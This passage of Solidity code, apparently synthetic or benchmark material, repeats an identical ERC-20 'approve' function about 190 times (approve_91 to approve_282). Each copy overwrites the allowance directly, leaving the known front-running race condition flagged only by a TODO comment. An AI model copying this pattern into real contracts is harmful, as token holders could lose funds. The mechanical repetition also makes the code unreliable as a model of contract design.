function approve_91(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_92(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_93(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_94(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_95(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_96(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_97(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_98(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_99(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_100(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_101(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_102(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_103(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_104(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_105(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_106(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_107(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_108(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_109(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_110(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_111(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_112(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_113(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_114(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_115(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_116(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_117(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_118(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_119(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_120(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_121(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_122(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_123(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_124(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_125(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_126(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_127(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_128(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_129(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_130(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_131(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_132(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_133(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_134(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_135(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_136(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_137(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_138(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_139(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_140(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_141(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_142(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_143(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_144(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_145(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_146(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_147(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_148(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_149(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_150(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_151(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_152(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_153(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_154(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_155(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_156(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_157(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_158(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_159(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_160(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_161(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_162(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_163(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_164(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_165(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_166(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_167(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_168(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_169(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_170(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_171(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_172(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_173(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_174(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_175(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_176(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_177(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_178(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_179(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_180(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_181(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_182(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_183(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_184(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_185(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_186(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_187(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_188(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_189(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_190(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_191(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_192(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_193(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_194(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_195(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_196(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_197(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_198(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_199(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_200(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_201(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_202(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_203(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_204(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_205(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_206(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_207(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_208(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_209(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_210(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_211(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_212(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_213(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_214(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_215(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_216(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_217(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_218(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_219(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_220(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_221(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_222(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_223(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_224(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_225(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_226(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_227(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_228(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_229(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_230(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_231(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_232(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_233(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_234(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_235(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_236(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_237(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_238(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_239(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_240(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_241(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_242(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_243(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_244(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_245(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_246(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_247(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_248(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_249(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_250(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_251(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_252(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_253(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_254(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_255(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_256(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_257(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_258(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_259(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_260(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_261(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_262(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_263(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_264(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_265(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_266(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_267(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_268(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_269(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_270(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_271(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_272(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_273(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_274(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_275(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_276(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_277(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_278(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_279(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_280(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_281(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_282(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
